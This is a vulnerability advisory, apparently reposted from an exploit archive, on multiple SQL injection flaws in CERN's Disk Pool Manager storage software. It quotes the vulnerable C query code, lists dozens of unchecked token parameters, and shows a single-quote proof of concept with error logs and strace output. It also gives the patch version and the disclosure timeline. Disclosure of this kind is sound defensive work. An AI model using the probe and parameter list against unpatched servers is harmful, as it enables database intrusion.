LCG Disk Pool Manager SQL Injection



EKU-ID: 3078 CVE: OSVDB-ID:
Author: Adam Zabrocki Published: 2013-03-14 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Name:                 Multiple SQL Injection vulnerabilities in
                      Disk Pool Manager (DPM)
Author:               Adam Zabrocki (<pi3@pi3.com.pl>)
Date:                 November 27, 2009 (Yes, it's very old bug ;P)


   Description:

        LCG Disk Pool Manager (DPM) has been developed as part of the
LCG
project to provide a light-weight implementation of an SRM compliant
Storage Element (SE). Since gLite 3.0 it is a standard gLite component,
distributed and maintained as part of the gLite release. It has been
developed at European Organization for Nuclear Research (CERN).

DPM is a disk only SE, instead of a disk + MSS implementation like
dCache or Castor. It may act as a replacement for the deprecated classic
SE with the following advantages :

- SRM interface (both v1.1 and v2.2)
- Better scalability : DPM is allow to manage 100+ TB distributing the
  load over several servers
- High performances
- Light-weight management


DPM is commonly used in most of the GRID projects including CERN WLCG,
EGEE, ..., etc.


   Details:

        A multiple SQL Injection vulnerability has been found in Disk
Pool
Manager (DPM). Please read following details:

"./srmv2.2/srmv2_xferreq.c"
int
ns1__srmGetRequestSummary (struct soap *soap,
                         struct ns1__srmGetRequestSummaryRequest *req,
                         struct ns1__srmGetRequestSummaryResponse_ *rep)
{
        ...
        char *r_token;
        ...

        ...
        ...
        for (i = 0; i < nbtokens; i++) {
                ...
                r_token = req->arrayOfRequestTokens->stringArray[i];
                if (strlen (r_token) > CA_MAXDPMTOKENLEN) {
                        reptokenp->status->statusCode = 
                                       SRM_USCOREINVALID_USCOREREQUEST;
                        reptokenp->status->explanation = 
                            soap_strdup (soap, "Invalid request token");
                        nb_errors++;
                        continue;
                }
                if (dpm_getonereqsummary (thip, r_token, &r_type,
&r_status,
                    &nbreqfiles, &nb_queued, &nb_progress, &nb_failed) <
0) {
                        ...
                        ...
                }
                ...
                ...
        }
        ...
        ...
}

This function is responsible fo reading and parsing requests. If length
of "r_token"
variable is not greather than CA_MAXDPMTOKENLEN function
dpm_getonereqsummary() is called:

"dpm/dpm_procsubr.c"
dpm_getonereqsummary (thip, r_token, r_type, r_status, nbreqfiles,
                                    nb_queued, nb_progress, nb_failed)
struct dpm_srv_thread_info *thip;
char *r_token;
char *r_type;
int *r_status;
int *nbreqfiles;
int *nb_queued;
int *nb_progress;
int *nb_failed;
{
        ...
        ...

        if (dpm_get_pending_req_by_token (&thip->dbfd, r_token,
&dpm_req, 0, NULL) < 0 &&
            dpm_get_req_by_token (&thip->dbfd, r_token, &dpm_req, 0,
NULL) < 0)
                return (-1);

        ...
        ...
}

... and:

"dpm/dpm_mysql_ifce.c"
dpm_get_pending_req_by_token(dbfd, r_token, dpm_req, lock, rec_addr)
struct dpm_dbfd *dbfd;
char *r_token;
struct dpm_req *dpm_req;
int lock;
dpm_dbrec_addr *rec_addr;
{
        char func[29];
        static char query[] =
                "SELECT \
                 R_ORDINAL, R_TOKEN, R_UID, \
                 R_GID, CLIENT_DN, CLIENTHOST, \
                 R_TYPE, U_TOKEN, \
                 FLAGS, RETRYTIME, NBREQFILES, \
                 CTIME, STIME, ETIME, \
                 STATUS, ERRSTRING, GROUPS \
                FROM dpm_pending_req \
                WHERE r_token = '%s'";
        static char query4upd[] =
                "SELECT ROWID, \
                 R_ORDINAL, R_TOKEN, R_UID, \
                 R_GID, CLIENT_DN, CLIENTHOST, \
                 R_TYPE, U_TOKEN, \
                 FLAGS, RETRYTIME, NBREQFILES, \
                 CTIME, STIME, ETIME, \
                 STATUS, ERRSTRING, GROUPS \
                FROM dpm_pending_req \
                WHERE r_token = '%s' \
                FOR UPDATE";
        MYSQL_RES *res;
        MYSQL_ROW row;
        char sql_stmt[1024];
        MYSQL_RES *res;
        MYSQL_ROW row;
        char sql_stmt[1024];

        strcpy (func, "dpm_get_pending_req_by_token");
        sprintf (sql_stmt, lock ? query4upd : query, r_token);
        if (dpm_exec_query (func, dbfd, sql_stmt, &res))
                return (-1);
        ...
        ...
}

This function creates a query to the MySQL Database - DPM supports three
different databases: MySQL, PostgreSQL and Oracle. In this advisory
I'm focused on MySQL database. This vulnerability may be in all
supported databases. I haven't analyzed all the code.

Variable 'r_token' isn't verified at all so SQL Injection attack is
possible. Anyone with a certificate from a recognised CA can access
the SRM interface so it is a serious vulnerability.

SQL Injection exists not only in dpm_get_pending_req_by_token()
function.
Please read following list of functions which don't check inputs too:

Function dpm_get_cpr_by_fullid() doesn't check 'r_token'
Function dpm_get_cpr_by_surl() doesn't check 'r_token', 'surl'
Function dpm_get_cpr_by_surls() doesn't check 'r_token', 'to_surl'
Function dpm_get_gfr_by_fullid() doesn't check 'r_token'
Function dpm_get_gfr_by_surl()   doesn't check 'r_token'
Function dpm_get_pending_req_by_token() doesn't check 'r_token'
Function dpm_get_pending_reqs_by_u_desc() doesn't check 'u_token'
Function dpm_get_pfr_by_fullid() doesn't check 'r_token'
Function dpm_get_pfr_by_surl()   doesn't check 'r_token'
Function dpm_get_pool_entry()    doesn't check 'poolname' variable but
                                 admin required so it isn't important.
Function dpm_get_req_by_token()  doesn't check 'r_token'
Function dpm_get_reqs_by_u_desc() doesn't check 'u_token'
Function dpm_get_spcmd_by_token() doesn't check 's_token'
Function dpm_get_spcmd_by_u_desc() doesn't check 'u_token'
Function dpm_insert_cpr_entry()   doesn't check variable 's_token', 
                                                             'r_token'.
Function dpm_insert_fs_entry()   doesn't check 'poolname' variable but
                                 admin required so it isn't important.
Function dpm_insert_gfr_entry()  doesn't check variable 's_token',
                                                            'r_token'.
Function dpm_insert_pending_entry() doesn't check variable 'u_token',
                                                            'r_token'.
Function dpm_insert_pfr_entry()  doesn't check variable 's_token',
                                                            'r_token'.
Function dpm_insert_pool_entry() doesn't check 'poolname' variable but
                                 admin required so it isn't important.
Function dpm_insert_spcmd_entry() doesn't check variable 's_token',
                                  'u_token' and (not important)
                                  'poolname' - admin required.
Functino dpm_insert_xferreq_entry() doesn't check variable 'u_token',
                                                             'r_token'.
Function dpm_list_cpr_entry()   doesn't check 'r_token'
Functino dpm_list_fs_entry()    doesn't check 'poolname' variable but
                                admin required so it isn't important.
Function dpm_list_gfr_entry()   doesn't check 'r_token'
Function dpm_list_pfr_entry()   doesn't check 'r_token'
Function dpm_update_cpr_entry() doesn't check 's_token'
Function dpm_update_gfr_entry() doesn't check 's_token'
Function dpm_update_pfr_entry() doesn't check 's_token'
Function dpm_update_spcmd_entry() doesn't check 'poolname' variable but
                                  admin required so it isn't important.



   Proof of concept

$ ./srm2_testGetRequestStatus srm://vmgdda0013.cern.ch:8446/ \'
request status SRM_FAILURE
request state 1
explanation: Failed for all tokens
request summaryArray 1
======= Begin Request ========
Request    token: '
state[0]: 14 SRM_INTERNAL_ERROR
$ 


Please read following dump of SRM log file:

07/23 18:01:50.330  9720,0 dpm_get_pending_req_by_token: mysql_query
error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''''' at line 1
07/23 18:01:50.330  9720,0 dpm_get_req_by_token: mysql_query error: You
have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''''' at line
1
07/23 18:01:50.330  9720,0 GetRequestSummary: returns 0,
statusCode=SRM_FAILURE


Here is strace output from the SRMv2.2 process:

poll([{fd=7, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
write(7, "\335\0\0\0\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID,
 CLIENT_DN, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME,
 NBREQFILES, \t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS
\t\tFROM dpm_pending_req \t\tWHERE r_token = '''", 225) = 225
read(7, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''''' at line 1", 16384) = 162
gettimeofday({1311434508, 295920}, NULL) = 0
open("/var/log/srmv2.2/log", O_WRONLY|O_CREAT|O_APPEND, 0664) = 8
write(8, "07/23 17:21:48.295  9720,0 dpm_get_pending_req_by_token:
mysql_query error: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to  use near ''''' at line 1\n", 226) = 226
close(8)                                = 0
poll([{fd=7, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
write(7, "\325\0\0\0\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID,
 CLIENT_DN, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME,
 NBREQFILES, \t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS
\t\tFROM dpm_req \t\tWHERE r_token = '''", 217) = 217
read(7, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''''' at line 1", 16384) = 162
gettimeofday({1311434508, 296597}, NULL) = 0
open("/var/log/srmv2.2/log", O_WRONLY|O_CREAT|O_APPEND, 0664) = 8
write(8, "07/23 17:21:48.296  9720,0 dpm_get_req_by_token: mysql_query
error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
nea r ''''' at line 1\n", 218) = 218
close(8)                                = 0
gettimeofday({1311434508, 296942}, NULL) = 0
open("/var/log/srmv2.2/log", O_WRONLY|O_CREAT|O_APPEND, 0664) = 8
write(8, "07/23 17:21:48.296  9720,0 GetRequestSummary: returns 0,
statusCode=SRM_FAILURE\n", 80) = 80
close(8)                                = 0


And here is strace from the MySQL process:

read(31, "\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID, CLIENT_DN
, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME, NBREQFILES,
\t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS \t\tFROM 
dpm_pending_req \t\tWHERE r_token = '''", 221) = 221
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM TERM
TSTP], 8) = 0
rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP], NULL, 8)
 = 0
fcntl(31, F_SETFL, O_RDWR|O_NONBLOCK)   = 0
time([1311436910])                      = 1311436910
sched_setscheduler(15280, SCHED_OTHER, { 6 }) = -1 EINVAL (Invalid
argument)
sched_setscheduler(15280, SCHED_OTHER, { 8 }) = -1 EINVAL (Invalid
argument)
write(31, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''''' at line 1", 162) = 162
time([1311436910])                      = 1311436910
read(31, 0x1f7ae9b0, 4)                 = -1 EAGAIN (Resource
temporarily unavailable)
time(NULL)                              = 1311436910
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM TERM
TSTP], 8) = 0
rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP], NULL, 8)
 = 0
fcntl(31, F_SETFL, O_RDWR)              = 0
read(31, "\325\0\0\0", 4)               = 4
read(31, "\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID, CLIENT_DN
, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME, NBREQFILES, 
\t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS \t\tFROM 
dpm_req \t\tWHERE r_token = '''", 213) = 213
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM TERM
TSTP], 8) = 0
rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP], NULL, 8)
 = 0
fcntl(31, F_SETFL, O_RDWR|O_NONBLOCK)   = 0
time([1311436910])                      = 1311436910
sched_setscheduler(15280, SCHED_OTHER, { 6 }) = -1 EINVAL (Invalid
argument)
sched_setscheduler(15280, SCHED_OTHER, { 8 }) = -1 EINVAL (Invalid
argument)
write(31, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''''' at line 1", 162) = 162
time([1311436910])                      = 1311436910
read(31, 0x1f7ae9b0, 4)                 = -1 EAGAIN (Resource
temporarily unavailable)




   Affected Software:

All versions of Disk Pool Manager (DPM) below 1.8.6 version are
affected.
1.8.6 was released 19th of February 2013.


   Greets

+) David Smith - for testing infrastructures and other helps not only
                 at this topic.

   References

1) https://wiki.egi.eu/wiki/SVG:Advisory-SVG-2012-2683
2) http://site.pi3.com.pl/adv/disk_pool_manager_1.txt
3) http://blog.pi3.com.pl/?p=402


   Timeline

2009-11-27 - Found vulnerability.
2011-08-03 - Vulnerability officialy reported.
2013-02-19 - Updated packages available in the EGI UMD-1 and EGI UMD-2.
2013-03-05 - Public disclosure on vendor's wiki, after allowing sites to
             upgrade
(https://wiki.egi.eu/wiki/SVG:Advisory-SVG-2012-2683)
2013-03-10 - Release of this advisory.



Best regards,
Adam Zabrocki

--
http://pi3.com.pl